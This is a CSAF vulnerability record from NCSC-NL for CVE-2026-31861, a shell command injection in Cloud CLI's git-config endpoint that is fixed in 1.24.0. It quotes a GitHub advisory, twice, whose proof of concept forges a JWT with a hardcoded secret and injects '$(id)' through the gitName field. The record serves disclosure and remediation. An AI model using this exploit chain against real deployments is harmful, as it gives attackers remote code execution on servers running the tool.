{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-31861",
        "tracking": {
            "current_release_date": "2026-03-23T11:02:52.788423Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-31861",
            "initial_release_date": "2026-03-11T00:53:25.623487Z",
            "revision_history": [
                {
                    "date": "2026-03-11T00:53:25.623487Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-11T00:53:28.703077Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-11T17:38:52.265556Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-11T17:38:54.339978Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-11T18:26:56.546471Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-11T18:27:01.937798Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-11T21:56:49.170694Z",
                    "number": "7",
                    "summary": "CVSS created.| References created (1)."
                },
                {
                    "date": "2026-03-11T21:56:53.490857Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-12T14:38:43.242030Z",
                    "number": "9",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-12T14:57:35.619198Z",
                    "number": "10",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-17T19:25:52.150994Z",
                    "number": "11",
                    "summary": "CVSS created.| Products created (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-17T19:25:56.459586Z",
                    "number": "12",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-19T15:29:45.418743Z",
                    "number": "13",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)."
                },
                {
                    "date": "2026-03-19T15:29:47.629687Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T09:32:37.485990Z",
                    "number": "15",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                }
            ],
            "status": "interim",
            "version": "15"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<1.24.0",
                                "product": {
                                    "name": "vers:unknown/<1.24.0",
                                    "product_id": "CSAFPID-5796656"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "claudecodeui"
                    }
                ],
                "category": "vendor",
                "name": "siteboon"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<1.24.0",
                                "product": {
                                    "name": "vers:unknown/<1.24.0",
                                    "product_id": "CSAFPID-5838854",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:cloudcli:cloud_cli:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "cloud_cli"
                    }
                ],
                "category": "vendor",
                "name": "cloudcli"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-31861",
            "cwe": {
                "id": "CWE-94",
                "name": "Improper Control of Generation of Code ('Code Injection')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "# Shell Command Injection in User Git Config Endpoint\n\n| Field | Value |\n|-------|-------|\n| **Severity** | High |\n| **CVSS 3.1** | 8.8 (High) — when chained with VULN-01 |\n| **CWE** | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |\n| **Attack Vector** | Network |\n| **Authentication** | JWT required (bypassable via VULN-01) |\n| **Affected Files** | `server/routes/user.js` (lines 58-59) |\n\n## Description\n\nThe `/api/user/git-config` endpoint constructs shell commands by interpolating user-supplied `gitName` and `gitEmail` values into command strings passed to `child_process.exec()`. The input is placed within double quotes and only `\"` is escaped, but backticks (`` ` ``), `$()` command substitution, and `\\` sequences are all interpreted within double-quoted strings in bash.\n\nThis allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.\n\n## Root Cause\n\n`server/routes/user.js` lines 58-59:\n\n```javascript\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, '\\\\\"')}\"`);\nawait execAsync(`git config --global user.email \"${gitEmail.replace(/\"/g, '\\\\\"')}\"`);\n```\n\nOnly `\"` is escaped. However, within double-quoted bash strings, the following are still interpreted:\n\n- `` `malicious_command` `` — backtick execution\n- `$(malicious_command)` — subshell execution\n\n## Impact\n\n- **Remote Code Execution (RCE)** — arbitrary OS commands execute as the Node.js process user\n- The `git config --global` vector modifies the **server-wide** git configuration, affecting all git operations\n- When chained with VULN-01 (hardcoded JWT), this is fully **unauthenticated RCE**\n- Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data\n\n## Proof of Concept\n\n```bash\n# Step 1: Forge a JWT (see VULN-01)\nTOKEN=$(python3 -c \"import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))\")\n\n# Step 2: Inject via gitName using command substitution\ncurl -X POST \"http://REDACTED:5173/api/user/git-config\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"gitName\":\"$(id)\",\"gitEmail\":\"attacker@example.com\"}'\n```\n\nThe server executes:\n\n```\ngit config --global user.name \"$(id)\"\n```\n\nBash evaluates `$(id)` before passing it to git, executing the `id` command and setting the username to the output.\n\n## Remediation\n\nReplace `exec()` with `spawn()` (array arguments, no shell):\n\n```javascript\n// BEFORE (vulnerable):\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, '\\\\\"')}\"`);\n\n// AFTER (safe):\nawait spawnAsync('git', ['config', '--global', 'user.name', gitName]);\nawait spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);\n```",
                    "title": "github - https://github.com/advisories/GHSA-7fv4-fmmc-86g2"
                },
                {
                    "category": "description",
                    "text": "Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.24.0, The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only \" is escaped, but backticks (`), $() command substitution, and \\ sequences are all interpreted within double-quoted strings in bash. This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint. This vulnerability is fixed in 1.24.0.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-31861"
                },
                {
                    "category": "description",
                    "text": "Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.24.0, The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only \" is escaped, but backticks (`), $() command substitution, and \\ sequences are all interpreted within double-quoted strings in bash. This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint. This vulnerability is fixed in 1.24.0.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-31861"
                },
                {
                    "category": "description",
                    "text": "# Shell Command Injection in User Git Config Endpoint\n\n| Field | Value |\n|-------|-------|\n| **Severity** | High |\n| **CVSS 3.1** | 8.8 (High) — when chained with VULN-01 |\n| **CWE** | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |\n| **Attack Vector** | Network |\n| **Authentication** | JWT required (bypassable via VULN-01) |\n| **Affected Files** | `server/routes/user.js` (lines 58-59) |\n\n## Description\n\nThe `/api/user/git-config` endpoint constructs shell commands by interpolating user-supplied `gitName` and `gitEmail` values into command strings passed to `child_process.exec()`. The input is placed within double quotes and only `\"` is escaped, but backticks (`` ` ``), `$()` command substitution, and `\\` sequences are all interpreted within double-quoted strings in bash.\n\nThis allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.\n\n## Root Cause\n\n`server/routes/user.js` lines 58-59:\n\n```javascript\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, '\\\\\"')}\"`);\nawait execAsync(`git config --global user.email \"${gitEmail.replace(/\"/g, '\\\\\"')}\"`);\n```\n\nOnly `\"` is escaped. However, within double-quoted bash strings, the following are still interpreted:\n\n- `` `malicious_command` `` — backtick execution\n- `$(malicious_command)` — subshell execution\n\n## Impact\n\n- **Remote Code Execution (RCE)** — arbitrary OS commands execute as the Node.js process user\n- The `git config --global` vector modifies the **server-wide** git configuration, affecting all git operations\n- When chained with VULN-01 (hardcoded JWT), this is fully **unauthenticated RCE**\n- Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data\n\n## Proof of Concept\n\n```bash\n# Step 1: Forge a JWT (see VULN-01)\nTOKEN=$(python3 -c \"import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))\")\n\n# Step 2: Inject via gitName using command substitution\ncurl -X POST \"http://REDACTED:5173/api/user/git-config\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"gitName\":\"$(id)\",\"gitEmail\":\"attacker@example.com\"}'\n```\n\nThe server executes:\n\n```\ngit config --global user.name \"$(id)\"\n```\n\nBash evaluates `$(id)` before passing it to git, executing the `id` command and setting the username to the output.\n\n## Remediation\n\nReplace `exec()` with `spawn()` (array arguments, no shell):\n\n```javascript\n// BEFORE (vulnerable):\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, '\\\\\"')}\"`);\n\n// AFTER (safe):\nawait spawnAsync('git', ['config', '--global', 'user.name', gitName]);\nawait spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);\n```",
                    "title": "github - https://api.github.com/advisories/GHSA-7fv4-fmmc-86g2"
                },
                {
                    "category": "other",
                    "text": "0.00052",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
                    "title": "CVSSV4"
                },
                {
                    "category": "other",
                    "text": "8.7",
                    "title": "CVSSV4 base score"
                },
                {
                    "category": "other",
                    "text": "3.8",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "The value of the most recent CVSS (V3) score, There is exploit data available from source Nvd, Exploit code publicly available",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5796656",
                    "CSAFPID-5838854"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-7fv4-fmmc-86g2"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-7fv4-fmmc-86g2"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-31861"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/31xxx/CVE-2026-31861.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31861"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-31861"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-31861"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-7fv4-fmmc-86g2"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-7fv4-fmmc-86g2"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/siteboon/claudecodeui/commit/86c33c1c0cb34176725a38f46960213714fc3e04"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/siteboon/claudecodeui/releases/tag/v1.24.0"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-7fv4-fmmc-86g2"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31861"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
                        "baseScore": 8.8,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5796656",
                        "CSAFPID-5838854"
                    ]
                }
            ],
            "title": "CVE-2026-31861"
        }
    ]
}